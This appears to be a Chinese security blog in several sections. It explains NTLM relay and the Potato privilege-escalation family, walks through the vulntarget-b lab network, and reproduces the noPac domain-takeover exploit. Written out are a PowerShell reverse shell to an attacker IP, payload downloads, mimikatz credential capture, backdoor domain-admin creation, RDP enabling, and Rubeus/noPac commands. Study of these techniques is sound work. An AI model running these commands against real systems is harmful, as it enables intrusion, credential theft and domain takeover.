    在域内进行 ntlm relay 时候,如果登录的用户是域用户,这个时候认证服务器本地没有这个 hash,就会通过 NETLOGON 把 type1, type2, type3 都发给域控,在域控中进行认证(注意这时没有要 hash)。但在认证之后,被请求机器还是没有请求用户的 hash,所以这时要向域控索要 key_exchange_key,而域控那边的处理逻辑中,没有对索要 key_exchange_key 进行鉴权,只要是机器用户都会给!(图来自:https://www.anquanke.com/post/id/194514
    image-20220430173715072
  • NTLM 反射(土豆提权)


    如果攻击者并没有获得目标机器的权限,而是能使其发送特定的 ntlm 请求,那么攻击者再收到这个 ntlm 后接着发送给目标机器,从而实现攻击效果。
    各种的土豆提权就是基于这种原理,该提权手法的前提是拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege(system才有) 权限,其中有 SeImpersonatePrivilege 权限的有:
    本地管理员账户(不包括管理员组普通账户)和本地服务帐户
    由SCM启动的服务
    

    其中 windows 服务的登录账户有:
    NT AUTHORITY\System
    NT AUTHORITY\Network Service
    NT AUTHORITY\Local Service
    

    通常在通过攻击 windows 的一些服务会拿到相应服务的权限(如 mssql 的 xp_cmdshell)
    此类提权的利用范围就是:
    Administrator——>SYSTEM
    Service——>SYSTEM
    

    至于为什么需要这两种权限,可以看之前写的关于 windows 命名管道的这篇文章:http://moonflower.fun/index.php/2022/03/18/301/,其中的思路于 msf 的 getsystem 相似,其中 SeImpersonatePrivilege 权限可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程,而 SeAssignPrimaryTokenPrivilege 可以调用 CreateProcessAsUserW 以 hToken 权限启动新进程。
    剩下的太多了放下一篇了。。。
  • 参考文献


 

  • Origin Potato(MS08-068)


    原理就是上文提到的 ntlm 反射,
    image-20220430170143680
    重点看一下修复,微软在 kb957097 补丁中通过修复 SMB 身份验证答复的验证方式来防止凭据重播。当主机 A 向主机 B 进行 SMB 认证的时候,将 pszTargetName 设置为 cifs/B,然后在 type2 拿到 B 发送的 Challenge 之后,在 lsass 里面缓存 (Challenge,cifs/B),接着 B 拿到 A 的 type3,这时会去检查 lsass 缓存里是否有 (Challenge,cifs/B),如果有就说明这是同一台主机,那么认证失败。
  • Hot Potato(MS16-075)


    影响范围 Windows 7,8,10,Server 2008 以及 Server 2012,经典的 ntlm relay 攻击链,依靠 windows update 触发。工具地址:https://github.com/foxglovesec/Potato
    image-20220430174056225
    实现流程:
    1.本地 NBNS Spoofer :冒充名称解析,强制系统下载恶意 WAPD 配置
    2.伪造 WPAD 代理服务器:部署 malicios WAPD 配置,强制系统进行 NTLM 认证
    3.HTTP -> SMB NTLM 中继:将 WAPD NTLM 令牌中继到 SMB 服务以创建提升的进程
    

    流程分 3 步,首先进行本地 NBNS 欺骗,windows 通常通过这一协议进行域名解析,当 windows 在 hosts 文件和 dns 查询都搜索失败后,会再进行 NBNS 查询,在本地广播域中向所有的主机发出 UDP 广播询问。
    但是直接嗅探到网络流量信息需要本地管理员权限,这里曲线救国。如果我们能提前知道 NBNS 请求所对应的目标主机的主机名(目标主机 127.0.0.1),就可以创建一个虚假的应答信息,并快速地使用 NBNS 应答信息来对目标主机进行泛洪攻击。因为 NBNS 数据包中有一个长度为 2 子节的数据域-TXID,要求与请求和应答信息相匹配,所以要通过泛洪暴力枚举 65536 个可能性。
    这是没有匹配到 dns 的情况,如果之前就保存了主机的 DNS 记录,那么可以使用 UDP 端口枯竭(使每一个 UDP 端口失效),迫使目标系统中所有的 DNS 查询失败。
    下一步是伪造 WPAD 代理服务器,在 windows 操作系统中,IE 浏览器在默认情况下会通过 http://wpad/wpad.dat 来自动尝试检查网络代理,同时也有其它一些 windows 中的服务会采用这一机制(比如利用中提到的 Windows Update)。
    但是并不是所有网络中都可以正常访问这个 url(不是所有的 dns 域名服务器都存在主机 wpad),那么我们就可以伪造一个 WPAD 代理服务器,结合前文的本地 NBNS 欺骗,就可以声称 WPAD 主机的 ip 地址是目标地址(127.0.0.1)。
    这时在 127.0.0.1 本地运行一个 HTTP 服务器,当收到 http://wpad/wpad.dat 请求时,做以下答复:
    FindProxyForURL(url,host){
        if (dnsDomainIs(host, "localhost")) return "DIRECT";
        return "PROXY 127.0.0.1:80";
    

    这样目标上所有的 http 流量都通过 127.0.01 重定向。
    之前对于 NTLM 反射的补丁只限于 SMB->SMB,但 NTLM 支持跨协议,也就是说像 HTTP->SMB 仍可正常工作。
    现在 HTTP 流量都会途径我们控制的 HTTP 服务器,那么就可以将其重定向到 URL: http://localhost/GETHASHESxxxxx,以 NTLM 身份验证的 401 请求响应(其中 xxxxx 是某个唯一标识符)。然后将 NTLM 凭据中继到本地 SMB 监听器以创建运行用户定义命令的新系统服务。
    当这个请求由高权限发起的时候(比如 windows update,system 权限),就完成了提权。
    再看一下漏洞的触发,依赖于发送 http://wpad/wpad.dat 请求,而当 windows 已经由 WPAD 的缓存条目或因为没有找到 WPAD 而允许直接上网时,需要 30-60 min才会刷新。
  • Rotten Potato(MS16-075的变种)


    通过 DCOM call 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证,需要 SelmpersonatePrivilege 权限。可以立即触发,不需要等待 windows 更新。
    影响范围:< win10 1809 和 windows server 2019
    image-20220430203014510
    实现流程:
    1.通过 NT AUTHORITY/SYSTEM 运行的 RPC 将尝试通过 CoGetInstanceFromIStorage API 调用向我们的本地代理进行身份验证
    2.135 端口的 RPC 将用于回复第一个 RPC 正在执行的所有请求充当模板
    3.AcceptSecurityContextAPI 调用以在本地模拟 NT AUTHORITY/SYSTEM
    

    首先是用 CoGetInstanceFromIStorage 尝试从调用者(system)指定的位置获取指定对象的实例,下面代码试图从 127.0.0.1 的 6666 端口上获取一个 BITS 对象。(实际上是从 IStorage 中获取对象)
    其中,CLSID 是标识 COM 类对象的全局唯一标识符,类似 uuid。BITS(后台只能传输服务)实现从 HTTP web 服务器 和 SMB 服务实现文件共享,BITS 实现了 IMarshal 接口并允许代理声明强制 NTLM 身份验证。
    public static void BootstrapComMarshal()
    {
    IStorage stg = ComUtils.CreateStorage();
     
    //使用已知的本地系统服务 COM 服务器,在此强制执行 BITSv1
    Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
     
    TestClass c = new TestClass(stg, String.Format("{0}[{1}]", "127.0.0.1", 6666)); // ip and port
     
    MULTI_QI[] qis = new MULTI_QI[1];
     
    qis[0].pIID = ComUtils.IID_IUnknownPtr;
    qis[0].pItf = null;
    qis[0].hr = 0;
     
    CoGetInstanceFromIStorage(null, ref clsid, null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1,       qis);
    }
    

    现在有一个 COM 试图连接 127.0.0.1:6666(通过 RPC 协议),那么我们在 6666 端口上建立一个本地 TCP 监听器,如果这时我们以正确的方式回复,那么这个 COM(system 权限运行)就会尝试与我们进行 NTLM 身份验证。
    在这里我们做的是将 6666 接收到的数据包中继到本地的 135 端口的 RPC 监听器上,并将 135 端口返回的数据包作为回复 COM 的模板。
    如果从调用函数的层面理解 NTLM 的认证过程,有下图:
    image-20220430213137161
    重点看服务端的调用,首先调用 acquirecdentialshandle 获取相应的句柄,然后用 AcceptSecurityContext 处理 type1,这个函数的输出就是 type2 的消息,该消息将被发送回试图进行身份验证的客户端,这里就是 DCOM。
    当客户端回复 type3 后,服务端将其传递给 AcceptSecurityContext,以完成身份验证并获得令牌。
    在我们的攻击中,type1被转发到了 RPC 的135 端口上,RPC 回复一个 Type2,但不是直接转发回去,需要在中转的时候进行一些处理,这里做的使用 AcceptSecurityContext 调用的结果替换发送到 COM 数据包中的 NTLM blob(?)。
    但为什么要这样?因为我们需要的是用 system 账户运行的 COM 来完成 NTLM Challenge 和 Reserved(我们使用这两个部分来协商本地令牌),所以如果不替换,后续再次调用 AcceptSecurityContext 就会失败。
    到现在为止,我们能确定的是,客户端以 system 权限执行的 COM 需要对服务端返回的 NTLM type2 数据包中的 NTLM Server Challenge 和 Reserved 部分进行一些操作(magic?),而只有对 AcceptSecurityContext 生成的结果执行这些操作的时候,才能获得令牌。
    这里的 Reserved 字段实际上是对 SecHandle 的引用,当 system 账户接收到 NTLM type2 的消息时,会在内存中进行 Reserved 验证(如果没有替换,将被认证为 RPC 而不是我们)。
    完成上述操作后,system 权限运行的 COM 将向我们发送 type3(是空的?),但会用它来调用 AcceptSecurityContext。最后使用其调用结果用 ImpersonateSecurityContext 获得一个模拟令牌。
    有了模拟令牌,根据 SeImpersonate 权限的特性,可以以此令牌创建进程。
    (基本直接翻译原文,其中有很多地方还不是很理解,有错误希望各位师傅指出)
    原版的 Rotten Potato 的实现基于 meterpreter shell,后来有人写了 webshell 的版本(也就是 Lonely Potato)。
    复现:

    新建一个 IIS 服务器,传上 shell,连上?
    image-20220501134711345
    尝试获取不同权限,直接 cd 到 public 中可以获取 IUSR 权限
    image-20220501134909414
    用烂土豆提权:
    image-20220501135318662
  • Juicy Potato(对 Rotten Potato 的完善)


    禁用了 BITS(Rotten Potato 用请求的对象)并占用了 6666 端口,但除了 BITS (CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}),还有其它的 COM 对象可以选择。
    选择的 COM 对象需要满足的条件是:
    1.可由当前用户实例化,通常是具有模拟权限的服务用户(最开始提到的 potato 家族提权的前提条件)
    2.实现 IMarshal 接口
    3.以提升的用户身份运行(SYSTEM,Administrator ...)
    

    image-20220501123950450
    实现流程和 Rotten Potato 相似。Juicy Potato 通过传递 BITS 的 CLSID 和 IStorage 对象实例给 CoGetInstanceFromIStorage 函数,是 rpcss 激活 BITS 服务,随后 rpcss 的 DCOM OXID resolver 会解析序列化数据中的 OBJREF 拿到DUALSTRINGARRAY 字段,该字段指定了 host[port] 格式的 location,绑定对象时会向其中的 host[port] 发送 DEC/RPC 请求,这时,如果攻击者控制了这个端口,就可以要求机型 NTLM 身份验证,那么高权限服务就会发送 net-NTLM 进行认证。
    拿到 net-NTLM 后会通过 SSPI 的 AcceptSecurityContext 函数进行本地 NTLM 协商,而我们 relay 到本机的 RPC 135 端口来获取系统合法的 RPC 报文,后面的过程只需替换 RPC 报文中的 NTLM SSP 部分即可。
    复现:

    powershell 上传文件:
    (new-object net.webclient).downloadfile('http://10.10.10.1:5555/JuicyPotato.exe', 'C:\Users\Public\JuicyPotato.exe')
    

    用 webshell 反弹 shell
    powershell -nop -c "$c = New-Object System.Net.Sockets.TCPClient('10.10.10.131',12333);$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (IEX $d 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sby = ([text.encoding]::ASCII).GetBytes($sb2);$st.Write($sby,0,$sby.Length);$st.Flush()};$c.Close()"
    

    image-20220501141125597
    运行 payload:
    .\JuicyPotato.exe -l 1337 -p cmd.exe -t *
    

    image-20220501145032101
  • PrintSpoofer


    看这个洞之前先回顾一下 getsystem 的原理那篇文章,提权的原理就是诱使 system 权限的服务访问我们指定的命名管道,getsystem 提供各种模式欺骗 system 连接管道:
    image-20220501162302890
    其中第 5 个就是 PrintSpoofer,利用了打印机组件路径检查的 bug。
    项目地址:https://github.com/leechristensen/SpoolSample
    Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下启用。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。
    DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
        /* [in] */ PRINTER_HANDLE hPrinter,
        /* [in] */ DWORD fdwFlags,
        /* [in] */ DWORD fdwOptions,
        /* [unique][string][in] */ wchar_t *pszLocalMachine,
        /* [in] */ DWORD dwPrinterLocal,
        /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)
    

    同时,Print Spooler 服务的 RPC 接口暴露在命名管道:\\.\pipe\spoolss 中,该服务默认开启。
    其中 pszLocalMachine 是指向表示客户端计算机名称的字符串的指针,需要传递一个 UNC 路径,传递 \\127.0.0.1 时,服务器会访问 \\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,并由 NT AUTHORITY\SYSTEM 控制。
    那么下一步就是要想办法把这个请求让我们准备好的恶意管道接收。
    考虑到 UNC 路径的性质,如果主机名包含 /,它将通过路径检查,但真正连接的时候会转化为 \ 。那么,如果传递一个 \\127.0.0.1/pipe/foo,检查时会认为 127.0.0.1/pipe/foo 是一个主机名,随后在连接 named pipe 时会对参数做标准化,于是就会连接 \\127.0.0.1\pipe\foo\pipe\spoolss,那么攻击者就可以把主机名改为 \\127.0.0.1/pipe/foo 并注册这个 named pipe 从而窃取 client 的 token。
    工具地址:https://github.com/itm4n/PrintSpoofer
    还有 crisprss 修改的免杀版:https://github.com/crisprss/PrintSpoofer
    image-20220501170329805
  • Rogue Potato(Rotten / Juicy 的绕过)


    高版本的 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号,既然这样就在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并实现了一个恶意的 RPC OXID 解析器。
    image-20220501172346070
    OXID 解析器是 rpcss 服务的一部分,在每台支持 COM+ 的机器上的 135 端口上运行 ,它执行两个重要任务:
    1.存储连接远程对象所必须的 RPC 字符串绑定,并将它们提供给本地客户机。
    2.将 ping 消息发送给本地机器拥有客户端的远程对象,并接收本地机器运行的对象的 ping 消息。(支持 COM+ 垃圾回收机制)
    

    OXID 解析器的工作流程如下:
    image-20220501174253293
    其中客户端就是 RPCSS 服务,它将尝试连接到我们的恶意 OXID 解析器。
    在正常情况下,客户端的 OXID 解析序列中的所有请求都经过身份验证后,就会模拟运行我们选择的 CLSID 对应 COM 的用户(SYSTEM)。土豆系列的攻击就是拦截这个认证过程并窃取令牌。
    看一下 RPC 支持的协议,我们伪造的 OXID 解析器能选择协议序列标识(protocol sequence),也就是说可以选择调用的具体协议。
    RPC transportRPC protocol sequence string
    SMBncacn_np (see section 2.1.1.2)
    TCP/IP (both IPv4 and IPv6)ncacn_ip_tcp (see section 2.1.1.1)
    UDPncadg_ip_udp (see section 2.1.2.1)
    SPXncacn_spx (see section 2.1.1.3)
    IPXncadg_ipx (see section 2.1.2.2)
    NetBIOS over IPXncacn_nb_ipx (see section 2.1.1.4)
    NetBIOS over TCPncacn_nb_tcp (see section 2.1.1.5)
    NetBIOS over NetBEUIncacn_nb_nb (see section 2.1.1.6)
    AppleTalkncacn_at_dsp (see section 2.1.1.7)
    RPC over HTTPncacn_http (see section 2.1.1.8)

    当使用 ncacn_ip_tcp 的时候,它允许 RPC 直接通过 TCP。我们使用 IRemUnknown2 接口运行 RPC 服务器,并尝试调用 RpcImpersonateClient 的 SecurityCallback 来验证请求。在 resolveoxid2 响应中返回 ncacn_ip_tcp:localhost[9998],触发 RPC 服务器的身份验证(但是只有一个标识符)。
    综上,如果我们将 OXID 解析请求重定向到我们控制下的端口 135 上的远程服务器,并将请求转发到我们的本地 Fake RPC 服务器,我们将仅获得一个匿名登录。如果将 OXID 解析请求解析到一个假的 RPC 服务器,那么将会在 IRemUnkown2 查询的时候获得一个系统令牌(但只是个标识令牌)。
    但作者后续借鉴了 PrintSpoofer 的利用思路,使用了 ncacn _ np(向连接的命名管道)。这里选用了 epmapper 管道(和 RpcEptMapper 服务有关,用于解析 RPC 接口标识符以传输端点)。这个服务和 rpcss 服务共享进程空间,并且都在 NETWORK SERVICE 帐户下运行,那么如果能在这个进程下模拟该账户,就可以窃取 SYSTEM 令牌。
    但是根据协议的设计,即使使用了 ncacn_np:localhost[\pipe\roguepotato],也会最终连接到 epmapper 管道。
    到这里已经有些眉目了,遇到的问题和 PrintSpoofer 中的一样,同样也可以通过在主机名中插入 / 实现绕过。
    如果返回的绑定信息是 ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper],那么 RPCSS 就会尝试连接不存在的命名管道 \roguepotato\pipe\epmapper,那我们在此管道上进行监听,就能获得 SYSTEM 权限的模拟令牌了!
    工具地址:https://github.com/antonioCoco/RoguePotato
  • Ghost potato(MS08-068 绕过)


    为防止用户 relay 本机,在 lsass 中添加缓存绕过,如果缓存中有 (Challenge,cifs/B) 就会认证失败。
    然而这个 (Challenge,cifs/B) 是有时效性的(300s),所有只要等 300s 再发送 type3 就可以 bypass 了。
    image-20220501200135291
    用修改后的 impacket https://shenaniganslabs.io/files/impacket-ghostpotato.zip 可以直接打,用法和 MS08-068 类似。
  • SweetPotato


    集成了前面几种土豆触发 NTLM 认证的方式,包括:COM,WinRM,Spoolsv,其中 WInRM 的攻击原理参考:https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
    大致思路就是当 WinRM 在当前系统未启用时,攻击者监听本机 5985 端口,BITS 服务会向 WinRM 5985 发起 NTLM 认证,
    工具地址:https://github.com/CCob/SweetPotato
    因为 windows 代码能力太差了看不懂 exp,之后一定补!!!
  • 参考文献


  • 环境搭建


    见参考文献1。

  • Centos7


    web 在 81 端口,直接 admin/admin123 进后台,后台下一个可以改代码的插件。
    image-20220414214149381
    首次使用,设置密码后可以直接修改后台文件,写个?进去。
    连上后发现 disable_functions ban 了很多函数(bt 默认的),用蚁剑自带的插件绕一下,拿到 shell 之后用 msf 传个?。
    之后可以用 sudo 的 CVE-2021-3156 提权
    image-20220414222053505
    image-20220414222216786
    在 msf 中已经集成在 exploit/linux/local/sudo_baron_samedit 中
    image-20220414223020025
    下一层 ip 是 10.0.20.0/24,用 Neo-reGeorg 挂个正向代理
  • Win10


    (这里 win10 的网卡改成了 10.0.10.140),访问 8080 的 web 端口,发现禅道 cms。直接 admin / Admin123 登进后台,版本 12.4.2,有洞,可以远程下载文件到主机。工具:https://github.com/wikiZ/Zentao-RCE
    但 win10 不出网,无法访问攻击机,但 centos 中是有 python 的,可以手动在 centos 上写?并下载。
    python -c 'import pty; pty.spawn("/bin/bash")' // 开启交互模式
    python -m SimpleHTTPServer 9998
    
    base64:HTTP://10.0.20.30:9998/shell.php
    
    http://10.0.20.140:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6OTk5OC9zaGVsbC5waHA=
    

    image-20220415162429823
    直接访问是 500,但可以用蚁剑链接,接着就可以传 msf 的?上去。
    tasklist 发现有火绒,需要做一下免杀,这里做个 uuid 免杀就行,具体操作看免杀初探那篇文章。
    (我应该不是最后一个知道添加路由后可以直接反弹跳板机的吧)
    run post/multi/manage/autoroute
    

    image-20220415204105527
    拿到的是一个 IIS 的低权限,尝试提权
    run post/multi/recon/local_exploit_suggester
    

    或者手动看缺少的补丁(想起来主机是 win10,大概没什么用了):
    systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    最后还是直接 getsystem 提权了(其实用到了 CVE-2021-34481,之后补分析)
    image-20220415210859390
  • Windows Server 2016


    win10 尝试抓密码(xs 根本抓不到)
    load kiwi
    creds_all
    

    操作可参考抓密码那篇文章 http://moonflower.fun/index.php/2022/03/01/291/
    这里用 mimikatz 的 ssp 临时注入,只要不重启,就会记录密码
     kiwi_cmd misc::memssp
    

    image-20220415214643951
    拿到账户密码之后尝试用 CVE-2021-42287/CVE-2021-42278 拿域控权限(分析之后补),没打补丁全版本都能打(靶机杀器)
    本地没有 .NET 环境,c# 版本的 exp 用不了,这里用 kali 挂两层代理打
    image-20220415225902049
    工具地址:https://github.com/Ridter/noPac
    msf 定位域控:
     run post/windows/gather/enum_domain
    

    exp 直接打(可能需要多打几次):
    proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell 
    

    image-20220416171146959
    做一下维权,创建一个域管账号:
    net user admin admin#123 /add /domain
    net group "Domain Admins" admin /add /domain
    

    修改防火墙策略,打开 3389 端口
    netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    

    用 PsExec 链接上:
    PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p admin#123 -s cmd.exe -accepteula
    
  • 参考文献


 

  • 环境搭建

将就 vulntarget-b 的 win10 和 server2016 了,打的时候也是用的这个洞。

  • 前置知识


    Kerberos 中的 PAC

    PAC (Privilege Attribute Certificate,特权属性证书) 用于 kerberos 协议中的权限认证,在基础的 kerberos 模型中没有对用户权限的判断,加入 PAC 后,在 KDC 返回的 TGT(AS_REP) 和 ST(TGS_REP) 中都包含 PAC。
    image-20220417125305326
    KDC 在收到 AS-REQ 之后,从请求中取出 cname 字段,然后查询活动目录数据库,找到 sAMAccountName 属性为 cname 字段的值的用户,用该用户的身份生成一个对应的 PAC。
    在 TGS_REQ & TGS_REP 请求 ST 的过程中,KDC 收到 TGT 后,用 krbtgt 密钥解密,取出 PAC 并验证签名(确保 PAC 未被篡改),然后将其直接 copy 到 ST 中,也就是说只要签名合法 PAC 不会改变,这里是没有对 PAC 的正确性做检查的。
    image-20220417135813340
    但在 S4u2Self&S4u2Proxy 请求中,ST 中的 PAC 是重新生成的。(!)
    而如果 TGT 中本身就没有 PAC 的话,KDC 在 copy PAC 的时候也会 copy 一个空的,那么 ST 中也就没有 PAC。
    PAC 的一些重要字段:
    - Acct Name:该字段对应的值是用户sAMAccountName属性的值
    - Full Name:该字段对应的值是用户displayName属性的值
    - User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分
    - Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)
    - Num RIDS:用户所属组的个数
    - GroupIDS:用户所属的所有组的RID
    

    S4u2Self 协议

    为了对委派机制中权限的进一步限制,Kerberos 协议扩展了两个自协议 S4U2Self(Service for User to Self)和 S4u2Proxy (Service for User to Proxy )。
    S4u2Self 可以代表任意用户请求针对自身的 ST 服务票据;S4u2Proxy 可以用上一步获得 ST 以用户的名义请求针对其它指定服务的 ST 。
    image-20220417133057879
    当 KDC 收到 TGS_REQ S4u2Self 协议后,首先验证客户端是否有权限发起 S4U2Self,然后根据 S4U2Self 中模拟的用户生成对应权限的 PAC,放在 ST 票据中(不会复用)
    跨域的 TGS

    当 TGT 中没有 PAC 的时候,如果是当前域的请求,则 ST 中也没有 PAC,如果是其它域的话,会重新生成一个 PAC。
  • 漏洞原理


    Windows 中机器账户的 username 一般以 $ 结尾。当请求服务 ST 的账户没有被 KDC 找到的时候,KDC 会自动在 username 尾部添加 $ 重新搜索。
    那么如果域控主机名为 moonflower $,而攻击者将机器账户的 sAMAccountName 更改为 moonflower。
    用户收到这个 TGT 之后,攻击者将机器名修改为其它机器名,然后用这个 TGT 向 TGS 请求 S4u2Self 服务(为了修改 PAC)。
    当 TGS 解密这个 TGT 后,获取到机器名:moonflower,也就是域控的主机名。有因为是 S4u2Self 服务,所有需要用主机名对应的密钥来加密 ST,而此时在 KDC 中已经搜索不到 moonflower 这个用户了,那么就会自动在 moonflower 后面添加一个 $,再次搜索,这时搜到了域控,接着就用域控的密钥加密了 S4u2Self 的 ST发给用户。最后用户拿着这个 ST 取访问域控,就获取了域控的控制权。
  • 手动复现


    具体流程:
    1.首先创建一个机器账户,可以使用 impacket 的 addcomputer.py 或是 powermad(addcomputer.py 是利用 SAMR 协议创建机器账户,这个方法所创建的机器账户没有 SPN,所以可以不用清除)
    2.清除机器账户的 servicePrincipalName 属性
    3.将机器账户的 sAMAccountName,更改为 DC 的机器账户名字,注意后缀不带$
    4.为机器账户请求 TGT
    5.将机器账户的 sAMAccountName 更改为其他名字,不与步骤3重复即可
    6.通过 S4U2self 协议向 DC 请求 ST
    7.进行 DCsync Attack
    

    创建机器账户,工具:https://github.com/Kevin-Robertson/Powermad
    powershell Set-ExecutionPolicy Bypass -Scope Process 
    Import-Module .\Powermad.ps1
    添加机器用户,输入密码:
    New-MachineAccount -MachineAccount saulgoodman -Domain vulntarget.com -DomainController WIN-UH20PRD3EAO.vulntarget.com -Verbose
    验证结果:
    net group "domain computers" /domain
    

    image-20220417154401829
    然后用 powerview 清除 SPN 信息
    Set-DomainObject "CN=saulgoodman,CN=Computers,DC=vulntarget,DC=com" -Clear 'serviceprincipalname' -Verbose
    

    image-20220417155709155
    重新设置机器名称
    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "WIN-UH20PRD3EAO" -Attribute samaccountname -Verbose
    

    image-20220417155948641
    用 Rubeus 模拟发送请求:
    ./Rubeus.exe asktgt /user:WIN-UH20PRD3EAO /password:admin#123 /domian:vulntarget.com /dc:WIN-UH20PRD3EAO.vulntarget.com /nowrap
    

    image-20220417162254520
    改回原来的属性
    Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
    

    获取 ST 票据
    ./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/WIN-UH20PRD3EAO.vulntarget.com" /dc:"WIN-UH20PRD3EAO.vulntarget.com" /ptt /ticket:前面生成的 ticket
    

    image-20220417215150300
     
  • 参考文献